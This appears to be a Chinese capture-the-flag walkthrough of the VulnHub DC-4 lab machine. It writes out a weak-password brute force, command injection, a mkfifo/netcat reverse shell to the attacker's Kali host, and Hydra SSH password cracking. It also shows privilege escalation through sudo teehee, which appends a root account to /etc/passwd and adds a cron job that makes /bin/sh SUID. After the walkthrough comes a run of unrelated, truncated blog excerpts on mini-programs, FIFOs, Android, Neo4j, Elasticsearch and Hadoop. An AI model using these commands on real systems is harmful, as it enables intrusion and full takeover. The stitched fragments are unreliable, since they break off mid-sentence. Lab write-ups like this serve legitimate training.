靶机下载地址：https://www.vulnhub.com/entry/dc-4,313/
KALI地址：192.168.75.108
靶机地址：192.168.75.207
使用命令如下
netdiscover -r 192.168.75.108
如下图，发现了我们靶机的地址。
这里使用nmap工具进行扫描，命令如下。
nmap -A -T4 -O -p 0-65535 192.168.75.207
扫描结果如下，发现开放了80,22号端口。
既然开放了80端口，那么我们就可以二话不说直接开始目录扫描，命令如下。
dirb http://192.168.75.207
扫描结果如下图，发现并没有什么可以利用的点。
既然开放了，80端口，我们可以直接去访问，如下图，打开首页发现是一个登录框，我们可以尝试登录，随后又抽卡了源代码，网络信息，均没有发现可以利用的点。
经过上面信息收集，发现了首页是可以登录的，并且没有验证码，试过了SQL注入，不行，尝试弱密码爆破。
爆破结果如下，发现密码可能是happy。
经过测试发现就是happy，如下图，并且成功登录进去。
经过发现，发现可以执行命令，如下图，想法是是否可以尝试绕过，执行其他命令。
这里就可以使用bp进行抓包，然后进行绕过，如下图
下面是输出结果，如下图。
所以我们就有了思路，一个思路是，让靶机下载我们的webshell，然后我们连接，第二个思路是反弹shell。
简单的说一下第一种思路，经过测试，发现靶机没有wget的下载权限，就放弃了，直接来到第二个思路也就是反弹shell的思路。
这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;，
然后在kali里面使用nc命令来进行监听，命令如下。
nc -lnvp 6666
如下图效果开始监听。
这里说一下历程，按照正常来说，像如下图一样发包就可以直接反弹成功了，但是发送了，就是没有反弹，看了大佬的博客才知道不能这样发包。
所以我们需要在前端修改代码，才能成功反弹，如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。
如下图，KALI成功接收反弹。
先按照如下图操作，先查看自己是什么用户和ID，然后使用python更换终端。
然后我们可以查看/etc/passwd下面的用户，如下图，发现了，三个用户，一个是jim，一个是charles,一个是sam。
然后经过查找，发现在home目录下面发现了几个人的目录路径，如下图。
经过测试发现，在jim目录下面，发现了老密码的字样，我们直接打开看。
如下图，打开全是密码，这里的思路，这么多密码，肯定要试试暴力破解了，这里我们把密码复制进去文本
我们这里使用hydra工具来进行暴力破解ssh，使用命令如下。
hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV
-l #对应的是一个用户，如果是大写的-L就是用户本
-P #对应的是一个密码本，如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程
如下图破解成功，成功发现jim的密码。
账户：jim
密码：jibril04
但是经过测试发现jim这个账户啥也不能干啊。
经过一番查找在/var/mail下面发现了一封邮件，邮件内容如下图，发现是密码。
我们可以尝试登录一下查看，如下图，发现可以登录，然后我们查看是否有sudo权限，我们直接使用如下命令查看。
sudo -l
发现有teeche的命令执行权限，如下图。
因为不熟悉teehee的提权方式，所以不怎么熟悉，就查了一下资料，这里有两种方法可以提权，第一种就是在/etc/passwd下面添加用户
第二种方法就是在linux的自动任务执行里面进行利用。
首先需要执行一个命令perl -le 'print crypt("123456", "ken")，如下图。
然后就可以执行一个命令来进行添加用户，命令如下。
echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后如下图，报错失败，查了一下资料之后，发现需要第一次登录root用户在退出来就可以了，所以我这里直接换其他的提权方式了。
看了一下大佬的博客，发现是这样的，创建一个定时人物然后给/bin/sh赋予SUID的权限，然后用teehee命令这个定时任务，写到/etc/crontab里面去。
命令如下。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
crontab命令详解可以百度查资料。
这样之后我们就可以直接在控制台里面输入/bin/sh就可以了，如下图提权成功。
然后我们就可以去查看flag了，如下图，在root目录发现flag。
需要注意查看var下面的mail邮件目录，然后提权需要注意teehee提权方式，还需要多注意查看各种敏感目录，和文件。
@作者:SYFStrive @博客首页:HomePage📜：微信小程序📌：个人社区（欢迎大佬们加入）👉：社区链接🔗📌：觉得文章不错可以点点关注👉：专栏连接🔗💃：感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序（🔥）目录自定义组件-behaviors 1、什么是behaviors 2、behaviors的工作方式 3、创建behavior 4、导入并使用behavior 5、behavior中所有可用的节点 6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors 1、什么是behaviorsbehaviors是小程序中，用于实现
最近在工作中，看到一些新手测试同学，对接口测试存在很多疑问，甚至包括一些从事软件测试3，5年的同学，在聊到接口时，也是一知半解；今天借着这个机会，对接口测试做个实战教学，顺便总结一下经验，分享给大家。计划拆分成4个模块跟大家做一个分享，（接口测试、接口基础知识、接口自动化、接口进阶）感兴趣的小伙伴记得关注，希望对你的日常工作和求职面试，带来一些帮助。注：文章较长有5000多字，希望小伙伴们认真看完，当然有些内容对小白同学不是太友好，如果你需要详细了解其中的一些概念或者名词，请在文章之后留言，后续我将针对大家的疑问，整理输出一些大家感兴趣的文章。随着开发模式的迭代更新，前后端分离已不是新的概念，
目录FIFO一.自定义同步FIFO1.1代码设计1.2Testbech1.3行为仿真***学习位宽计算函数$clog2()***$clog2()系统函数使用,可以不关注***分布式资源或者BLOCKBRAM二.异步FIFO2.1在FIFO判满的时候有两种方式：2.2异步FIFO为什么要使用格雷码2.2.1介绍格雷码2.2.2格雷码在异步FIFO中的应用2.2.2格雷码判满2.4二进制与格雷码之间的转换2.4.1二进制码转换为格雷码的方法2.4.2格雷码转换为二进制码的方法2.3实现框图2.5实现及仿真代码2.6仿真图验证2.7结论FIFO 这篇更多的是记录FIFO学习，参考了众多优秀的文章，
运行有问题或需要源码请点赞关注收藏后评论区留言一、利用ContentResolver读写联系人在实际开发中，普通App很少会开放数据接口给其他应用访问。内容组件能够派上用场的情况往往是App想要访问系统应用的通讯数据，比如查看联系人，短信，通话记录等等，以及对这些通讯数据及逆行增删改查。首先要给AndroidMaifest.xml中添加响应的权限配置 下面是往手机通讯录添加联系人信息的例子效果如下分成三个步骤先查出联系人的基本信息，然后查询联系人号码，再查询联系人邮箱代码 ContactAddActivity类packagecom.example.chapter07;importandroid
📝学技术、更要掌握学习的方法，一起学习，让进步发生👩🏻作者：一只IT攻城狮。💐学习建议：1、养成习惯，学习java的任何一个技术，都可以先去官网先看看，更准确、更专业。💐学习建议：2、然后记住每个技术最关键的特性（通常一句话或者几个字），从主线入手，由浅入深学习。❤️《SpringCloud入门实战系列》解锁SpringCloud主流组件入门应用及关键特性。带你了解SpringCloud主流组件,是如何一战解决微服务诸多难题的。项目demo：源码地址👉🏻SpringCloud入门实战系列不迷路👈🏻：SpringCloud入门实战（一）什么是SpringCloud？SpringCloud入门实战
快捷目录前言一、涉及到的相关技术简介二、具体实现过程及踩坑杂谈1.安卓手机改造成linux系统实现方案2.改造后的手机Linux中软件的安装3.手机Linux中安装MySQL5.7踩坑实录4.手机Linux中安装软件的正确方法三、Linux服务器部署前后端分离项目流程1.前提准备(安装必要软件，搭建环境)：2.前后端分离项目的详细部署过程：总结前言总体概述：本篇文章隶属于“手机改造服务器部署前后端分离项目”系列专栏，该专栏将分多个板块，每个板块独立成篇来详细记录：手机(安卓)改造成个人服务器(Linux)、Linux中安装软件、配置开发环境、部署JAVA+VUE+MySQL5.7前后端分离项目
IGH主站通信测试linuxcnc配置基础机器人控制LinuxCNC与EtherCAT介绍&&PDO&SDO，搭建环境步骤需要配置IGH主站的查看这篇文章linux系统学习笔记7——一次性安装igh-ethercat主站CSP模式DC同步方式preemrt实时补丁直接上代码，这部分是直接控制使用csp模式控制一个从站运动使能后直接运动，10s，每秒607a（目标位置）增加100.注意：急停按下ESC代码分为两部分，一个是通信线程主要负责和伺服通信，使能伺服，读取和写入寄存器值。第二个是操作线程，负责修改位置的值，和监控按键。使用此代码，首先根据手册1.修改PDO条目，要和自己的伺服一致2.修改
前言 Neo4j是一个高性能的，Nosql图形数据库。Nosql＝nosql，即与传统的将数据结构化并存储在表中的数据库不一样。Neo4j将数据存储在网络上，我们也可以把Neo4j视为一个图引擎。我们打交道的是一个面对对象的、灵活的网络结构而不是严格的、静态的表。传统关系型数据库，当数据量很大时，查询性能会明显受影响，尤其是一度以上的查询。但是图形数据库却在这方面表现得很好。neo4j支持多种主流编程语言，包括.Net、Java、JavaScript、Python。本文主要是涉及到jdk和neo4j安装和适配。 注意事项：neo4j安装版本与JDK版本需要对应，不
🚗Es学习·第五站~🚩Es学习起始站：【微服务】Elasticsearch概述&环境搭建(一)🚩本文已收录至专栏：微服务探索之旅👍希望您能有所收获一.引入综合前几站所学，我们已经对Elasticsearch的使用有了一定的了解，接下来让我们一起通过一个综合实战案例来复习前几站所学内容，体会在实际生产中的作用。我们一起实现如下功能：酒店搜索和分页酒店结果过滤我周边的酒店酒店竞价排名数据聚合筛选选项搜索框自动补全酒店数据的同步二.环境搭建按照第一站的学习部署Elasticsearch并启动运行。按照第二站的学习中的如下步骤，初始化测试项目并在Es导入数据。使用Elasticsearch，肯定离不开
目录开发环境 数据描述功能需求数据准备数据清洗用户行为分析找出有价值的用户开发环境 Hadoop+Hive+Spark+HBase启动Hadoop：start-all.sh启动zookeeper：zkServer.shstart启动Hive：nohuphiveserver21>/dev/null2>&1&beeline-ujdbc:hive2://192.168.152.192:10000启动Hbase：start-hbase.shhbaseshell启动Spark：spark-shell数据描述数据描述UserBehavior是阿里巴巴提供的一个淘宝用户行为数据集。本数据集包含了2017-0